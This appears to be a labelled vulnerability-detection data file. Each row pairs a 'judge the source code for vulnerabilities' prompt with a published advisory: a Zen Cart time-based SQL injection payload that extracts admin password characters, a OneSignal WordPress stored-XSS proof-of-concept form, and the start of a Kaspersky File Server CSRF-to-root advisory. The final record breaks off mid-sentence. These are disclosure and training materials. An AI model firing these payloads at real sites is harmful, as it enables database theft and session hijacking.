name=<double<underscore>quote>notifyButton<underscore>color<underscore>popup<underscore>button<underscore>color<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>message<underscore>prenotify<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>tip<underscore>state<underscore>unsubscribed<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>tip<underscore>state<underscore>subscribed<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>tip<underscore>state<underscore>blocked<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>message<underscore>action<underscore>subscribed<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>message<underscore>action<underscore>resubscribed<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>message<underscore>action<underscore>unsubscribed<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>dialog<underscore>main<underscore>title<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>dialog<underscore>main<underscore>button<underscore>subscribe<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>dialog<underscore>main<underscore>button<underscore>unsubscribe<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>dialog<underscore>blocked<underscore>title<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>dialog<underscore>blocked<underscore>message<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>prompt<underscore>customize<underscore>enable<double<underscore>quote> value=<double<underscore>quote>true<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>prompt<underscore>action<underscore>message<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>prompt<underscore>auto<underscore>accept<underscore>title<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>prompt<underscore>site<underscore>name<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>prompt<underscore>example<underscore>notification<underscore>title<underscore>desktop<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>prompt<underscore>example<underscore>notification<underscore>message<underscore>desktop<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>prompt<underscore>example<underscore>notification<underscore>title<underscore>mobile<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>prompt<underscore>example<underscore>notification<underscore>message<underscore>mobile<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>prompt<underscore>example<underscore>notification<underscore>caption<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>prompt<underscore>accept<underscore>button<underscore>text<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>prompt<underscore>cancel<underscore>button<underscore>text<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>send<underscore>welcome<underscore>notification<double<underscore>quote> value=<double<underscore>quote>true<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>welcome<underscore>notification<underscore>title<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>welcome<underscore>notification<underscore>message<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>welcome<underscore>notification<underscore>url<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notification<underscore>on<underscore>post<double<underscore>quote> value=<double<underscore>quote>true<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>utm<underscore>additional<underscore>url<underscore>params<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>allowed<underscore>custom<underscore>post<underscore>types<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>custom<underscore>manifest<underscore>url<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>show<underscore>notification<underscore>send<underscore>status<underscore>message<double<underscore>quote> value=<double<underscore>quote>true<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>submit<double<underscore>quote> value=<double<underscore>quote>Send<double<underscore>quote> <slash>><NEWLINE><<slash>form><NEWLINE><<slash>body><NEWLINE><<slash>html> | 1 |
please judge the source code for vulnerabilities. | Zen Cart SQL Injection<NEWLINE>Vendor: Zen Ventures, LLC<NEWLINE>Product: Zen Cart<NEWLINE>Version: <= 1.3.8a<NEWLINE>Website: http:<slash><slash>www.zen<hyphen>cart.com<NEWLINE>BID: 31023<NEWLINE>CVE: CVE<hyphen>2008<hyphen>6985<NEWLINE>OSVDB: 48346<NEWLINE>SECUNIA: 31758<NEWLINE>PACKETSTORM: 69640<NEWLINE>Description:<NEWLINE>Zen Cart is a full featured open source ecommerce web application written in php that allows users to build, run and promote their own online store. Unfortunately there are multiple SQL Injection issues in Zen Cart that may allow an attacker to execute arbitrary SQL queries on the underlying database. This may allow for an attacker to gather username and password information, among other things. An updated version of Zen Cart has been released to address these issues and users are encouraged to upgrade as soon as possible.<NEWLINE>SQL Injection<NEWLINE>There are a couple of SQL Injection issues within Zen Cart that may allow for a malicious attacker to execute arbitrary SQL queries, and gather arbitrary data from the database. The first issue is due to product attribute values not being properly sanitized (particularly the value of certain <double<underscore>quote>id<double<underscore>quote> parameters) when adding to or updating the shopping cart. The queries that are vulnerable to SQL injection can either be an update query, or an insert query depending on current shopping cart state and whether or not the customer is logged in. However, Zen Cart installations running with a database that supports sub selects are vulnerable to exploitation. Otherwise the issue is limited in regards to it<single<underscore>quote>s ability to be exploited.<NEWLINE>function actionMultipleAddProduct($goto, $parameters) {<NEWLINE>global $messageStack;<NEWLINE>if (is<underscore>array($<underscore>POST[<single<underscore>quote>products<underscore>id<single<underscore>quote>]) && sizeof($<underscore>POST[<single<underscore>quote>products<underscore>id<single<underscore>quote>]) > 0) {<NEWLINE>foreach($<underscore>POST[<single<underscore>quote>products<underscore>id<single<underscore>quote>] as $key=>$val) {<NEWLINE><slash><slash> while ( list( $key, $val ) = each($<underscore>POST[<single<underscore>quote>products<underscore>id<single<underscore>quote>]) ) {<NEWLINE>if ($val > 0) {<NEWLINE>$adjust<underscore>max = false;<NEWLINE>$prodId = $key;<NEWLINE>$qty = $val;<NEWLINE>$add<underscore>max = zen<underscore>get<underscore>products<underscore>quantity<underscore>order<underscore>max($prodId);<NEWLINE>$cart<underscore>qty = $this<hyphen>>in<underscore>cart<underscore>mixed($prodId);<NEWLINE>The above code comes from the actionMultipleAddProduct function in the shopping<underscore>cart class, and unlike the first issue I discussed introduces a highly exploitable SQL Injection issue in to Zen Cart. The root of the problem is that the in<underscore>cart<underscore>mixed function uses $prodId in a query without any sanitation.<NEWLINE>products<underscore>id[<hyphen>99<single<underscore>quote> UNION SELECT IF(SUBSTRING(admin<underscore>pass,1, 1) = CHAR(97), BENCHMARK<NEWLINE>(1000000, MD5(CHAR(1))), null),2 FROM zencart<underscore>admin<slash>*]<NEWLINE>It<single<underscore>quote>s possible for an attacker to submit a request to the <double<underscore>quote>multiple<underscore>products<underscore>add<underscore>product<double<underscore>quote> action with a products<underscore>id like the one above (remember to set the value to one if you wish to test this) and successfully enumerate database contents based on query response time. Of course other attacks may be possible also depending on server configuration. For example, if an attacker select INTO OUTFILE then this issue can allow for remote php code execution.<NEWLINE>Solution:<NEWLINE>The Zen Cart developers were very prompt and professional in releasing a fix for the previously mentioned issues. An updated version, as well as patches can be found at the following location.<NEWLINE>http:<slash><slash>www.zen<hyphen>cart.com<slash>forum<slash>showthread.php?p=604473<NEWLINE>Credits:<NEWLINE>James Bercegay of the GulfTech Security Research Team | 1 |
please judge the source code for vulnerabilities. | Summary: OneSignal is a high volume and reliable push notification service<NEWLINE>for websites and mobile applications. We support all major native and mobile<NEWLINE>platforms by providing dedicated SDKs for each platform, a RESTful server API,<NEWLINE>and an online dashboard for marketers to design and send push notifications.<NEWLINE>Desc: The application suffers from an authenticated stored XSS via POST request.<NEWLINE>The issue is triggered when input passed via the POST parameter <single<underscore>quote>subdomain<single<underscore>quote> is<NEWLINE>not properly sanitized before being returned to the user. This can be exploited<NEWLINE>to execute arbitrary HTML and script code in a user<single<underscore>quote>s browser session in context<NEWLINE>of an affected site.<NEWLINE>Tested on: WordPress 5.2.2<NEWLINE>Apache<slash>2.4.39<NEWLINE>PHP<slash>7.1.30<NEWLINE>Vulnerability discovered by Gjoko <single<underscore>quote>LiquidWorm<single<underscore>quote> Krstic<NEWLINE>@zeroscience<NEWLINE>Advisory ID: ZSL<hyphen>2019<hyphen>5530<NEWLINE>Advisory URL: https:<slash><slash>www.zeroscience.mk<slash>en<slash>vulnerabilities<slash>ZSL<hyphen>2019<hyphen>5530.php<NEWLINE><html><NEWLINE><body><NEWLINE><script>history.pushState(<single<underscore>quote><single<underscore>quote>, <single<underscore>quote>SHPA<single<underscore>quote>, <single<underscore>quote><slash><single<underscore>quote>)<<slash>script><NEWLINE><form action=<double<underscore>quote>http:<slash><slash>127.0.0.1<slash>wp<hyphen>admin<slash>admin.php?page=onesignal<hyphen>push<double<underscore>quote> method=<double<underscore>quote>POST<double<underscore>quote>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>onesignal<underscore>config<underscore>page<underscore>nonce<double<underscore>quote> value=<double<underscore>quote>f7fae30a4f<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote><underscore>wp<underscore>http<underscore>referer<double<underscore>quote> value=<double<underscore>quote><slash>wp<hyphen>admin<slash>admin.php?page=onesignal<hyphen>push<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>app<underscore>id<double<underscore>quote> value=<double<underscore>quote>14d99ab2<hyphen>fc9d<hyphen>1337<hyphen>bc16<hyphen>a8a6df479515<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>app<underscore>rest<underscore>api<underscore>key<double<underscore>quote> value=<double<underscore>quote>M2IzZDA4MzItOGJmOS00YjRkLWE4YzEtZSLmMjllNjlkYmZl<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>subdomain<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote>><script>confirm(251)<<slash>script><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>safari<underscore>web<underscore>id<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>showNotificationIconFromPostThumbnail<double<underscore>quote> value=<double<underscore>quote>true<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>showNotificationImageFromPostThumbnail<double<underscore>quote> value=<double<underscore>quote>true<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>persist<underscore>notifications<double<underscore>quote> value=<double<underscore>quote>platform<hyphen>default<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notification<underscore>title<double<underscore>quote> value=<double<underscore>quote>hACKME<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>enable<double<underscore>quote> value=<double<underscore>quote>true<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>showAfterSubscribed<double<underscore>quote> value=<double<underscore>quote>true<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>prenotify<double<underscore>quote> value=<double<underscore>quote>true<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>showcredit<double<underscore>quote> value=<double<underscore>quote>true<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>customize<underscore>enable<double<underscore>quote> value=<double<underscore>quote>true<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>size<double<underscore>quote> value=<double<underscore>quote>medium<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>position<double<underscore>quote> value=<double<underscore>quote>bottom<hyphen>right<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>theme<double<underscore>quote> value=<double<underscore>quote>default<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>offset<underscore>bottom<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>offset<underscore>left<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>offset<underscore>right<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>color<underscore>background<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>color<underscore>foreground<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>color<underscore>badge<underscore>background<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>color<underscore>badge<underscore>foreground<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>color<underscore>badge<underscore>border<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>color<underscore>pulse<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>color<underscore>popup<underscore>button<underscore>background<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>color<underscore>popup<underscore>button<underscore>background<underscore>hover<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>color<underscore>popup<underscore>button<underscore>background<underscore>active<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>color<underscore>popup<underscore>button<underscore>color<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>message<underscore>prenotify<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>tip<underscore>state<underscore>unsubscribed<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>tip<underscore>state<underscore>subscribed<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>tip<underscore>state<underscore>blocked<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>message<underscore>action<underscore>subscribed<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>message<underscore>action<underscore>resubscribed<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>message<underscore>action<underscore>unsubscribed<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>dialog<underscore>main<underscore>title<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>dialog<underscore>main<underscore>button<underscore>subscribe<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>dialog<underscore>main<underscore>button<underscore>unsubscribe<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>dialog<underscore>blocked<underscore>title<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>dialog<underscore>blocked<underscore>message<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>prompt<underscore>customize<underscore>enable<double<underscore>quote> value=<double<underscore>quote>true<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>prompt<underscore>action<underscore>message<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>prompt<underscore>auto<underscore>accept<underscore>title<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>prompt<underscore>site<underscore>name<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>prompt<underscore>example<underscore>notification<underscore>title<underscore>desktop<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>prompt<underscore>example<underscore>notification<underscore>message<underscore>desktop<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>prompt<underscore>example<underscore>notification<underscore>title<underscore>mobile<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>prompt<underscore>example<underscore>notification<underscore>message<underscore>mobile<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>prompt<underscore>example<underscore>notification<underscore>caption<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>prompt<underscore>accept<underscore>button<underscore>text<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>prompt<underscore>cancel<underscore>button<underscore>text<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>send<underscore>welcome<underscore>notification<double<underscore>quote> value=<double<underscore>quote>true<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>welcome<underscore>notification<underscore>title<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>welcome<underscore>notification<underscore>message<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>welcome<underscore>notification<underscore>url<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notification<underscore>on<underscore>post<double<underscore>quote> value=<double<underscore>quote>true<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>utm<underscore>additional<underscore>url<underscore>params<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>allowed<underscore>custom<underscore>post<underscore>types<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>custom<underscore>manifest<underscore>url<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>show<underscore>notification<underscore>send<underscore>status<underscore>message<double<underscore>quote> value=<double<underscore>quote>true<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>submit<double<underscore>quote> value=<double<underscore>quote>Send<double<underscore>quote> <slash>><NEWLINE><<slash>form><NEWLINE><<slash>body><NEWLINE><<slash>html> | 1 |
please judge the source code for vulnerabilities. | 1. *Advisory Information*<NEWLINE>Title: Kaspersky Anti<hyphen>Virus File Server Multiple Vulnerabilities<NEWLINE>Advisory ID: CORE<hyphen>2017<hyphen>0003<NEWLINE>Advisory URL: http:<slash><slash>www.coresecurity.com<slash>advisories<slash>Kaspersky<hyphen>Anti<hyphen>Virus<hyphen>File<hyphen>Server<hyphen>Multiple<hyphen>Vulnerabilities<NEWLINE>Date published: 2017<hyphen>06<hyphen>28<NEWLINE>Date of last update: 2017<hyphen>06<hyphen>28<NEWLINE>Vendors contacted: Kaspersky<NEWLINE>Release mode: Forced release<NEWLINE>2. *Vulnerability Information*<NEWLINE>Class: Improper Neutralization of Input During Web Page Generation<NEWLINE>(<single<underscore>quote>Cross<hyphen>site Scripting<single<underscore>quote>) [CWE<hyphen>79], Cross<hyphen>Site Request Forgery [CWE<hyphen>352],<NEWLINE>Improper Privilege Management [CWE<hyphen>269], Improper Limitation of a<NEWLINE>Pathname to a Restricted Directory [CWE<hyphen>22]<NEWLINE>Impact: Code execution, Security bypass, Information leak<NEWLINE>Remotely Exploitable: Yes<NEWLINE>Locally Exploitable: Yes<NEWLINE>CVE Name: CVE<hyphen>2017<hyphen>9813, CVE<hyphen>2017<hyphen>9810, CVE<hyphen>2017<hyphen>9811, CVE<hyphen>2017<hyphen>9812<NEWLINE>3. *Vulnerability Description*<NEWLINE>From Kaspersky Lab<single<underscore>quote>s website:<NEWLINE><double<underscore>quote>Large corporate networks that use file servers running on different<NEWLINE>platforms can be a real headache when it comes to antivirus protection.<NEWLINE>Kaspersky Anti<hyphen>Virus for Linux File Server is part of our range of new<NEWLINE>and refreshed products, solutions and services for heterogeneous<NEWLINE>networks. It provides a superior protection with Samba server<NEWLINE>integration and other features that can protect workstations and file<NEWLINE>servers in even the most complex heterogeneous networks. It is also<NEWLINE>certified VMware Ready and supports current versions of FreeBSD for<NEWLINE>integrated, future<hyphen>proof protection.<double<underscore>quote><NEWLINE>Multiple vulnerabilities were found in the Kaspersky Anti<hyphen>Virus for<NEWLINE>Linux File Server [2] Web Management Console. It is possible for a<NEWLINE>remote attacker to abuse these vulnerabilities and gain command<NEWLINE>execution as root.<NEWLINE>4. *Vulnerable Packages*<NEWLINE>. Kaspersky Anti<hyphen>Virus for Linux File Server 8.0.3.297 [2]<NEWLINE>Other products and versions might be affected, but they were not tested.<NEWLINE>5. *Vendor Information, Solutions and Workarounds*<NEWLINE>Kaspersky [1] published the following Maintenance Pack:<NEWLINE>. Maintenance Pack 2 Critical Fix 4 (version 8.0.4.312):<NEWLINE>https:<slash><slash>support.kaspersky.com<slash>13738<slash><NEWLINE>6. *Credits*<NEWLINE>This vulnerability was discovered and researched by Leandro Barragan<NEWLINE>and Maximiliano Vidal from Core Security Consulting Services. The<NEWLINE>publication of this advisory was coordinated by Alberto Solino from<NEWLINE>Core Advisories Team.<NEWLINE>7. *Technical Description <slash> Proof of Concept Code*<NEWLINE>Kaspersky Anti<hyphen>virus for Linux File Server comes bundled with a Web<NEWLINE>Management Console to monitor the application<single<underscore>quote>s status and manage its<NEWLINE>operation.<NEWLINE>One specific feature allows configuring shell scripts to be executed<NEWLINE>when certain events occur. This functionality is vulnerable to<NEWLINE>cross<hyphen>site request forgery, allowing code execution in the context of<NEWLINE>the web application as the kluser account. The vulnerability is<NEWLINE>described in section 7.1.<NEWLINE>Moreover, it is possible to elevate privileges from kluser to root by<NEWLINE>abusing the quarantine functionality provided by the kav4fs<hyphen>control<NEWLINE>system binary. This is described in section 7.2.<NEWLINE>Additional web application vulnerabilities were found, including a<NEWLINE>reflected cross<hyphen>site scripting vulnerability (7.3) and a path traversal<NEWLINE>vulnerability (7.4).<NEWLINE>7.1. *Cross<hyphen>site Request Forgery leading to Remote Command Execution*<NEWLINE>[CVE<hyphen>2017<hyphen>9810]: There are no Anti<hyphen>CSRF tokens in any forms on the web<NEWLINE>interface. This would allow an attacker to submit authenticated requests<NEWLINE>when an authenticated user browses an attacker<hyphen>controlled domain.<NEWLINE>The following request will update the notification settings to run a<NEWLINE>shell command when an object is moved to quarantine. For the full list<NEWLINE>of events refer to the product<single<underscore>quote>s documentation. Note that it is possible<NEWLINE>to add a script to all existing events in a single request, widening the<NEWLINE>window of exploitation.<NEWLINE>The proof<hyphen>of<hyphen>concept creates the file <slash>tmp<slash>pepperoni. Shell commands<NEWLINE>are run as the lower privilege 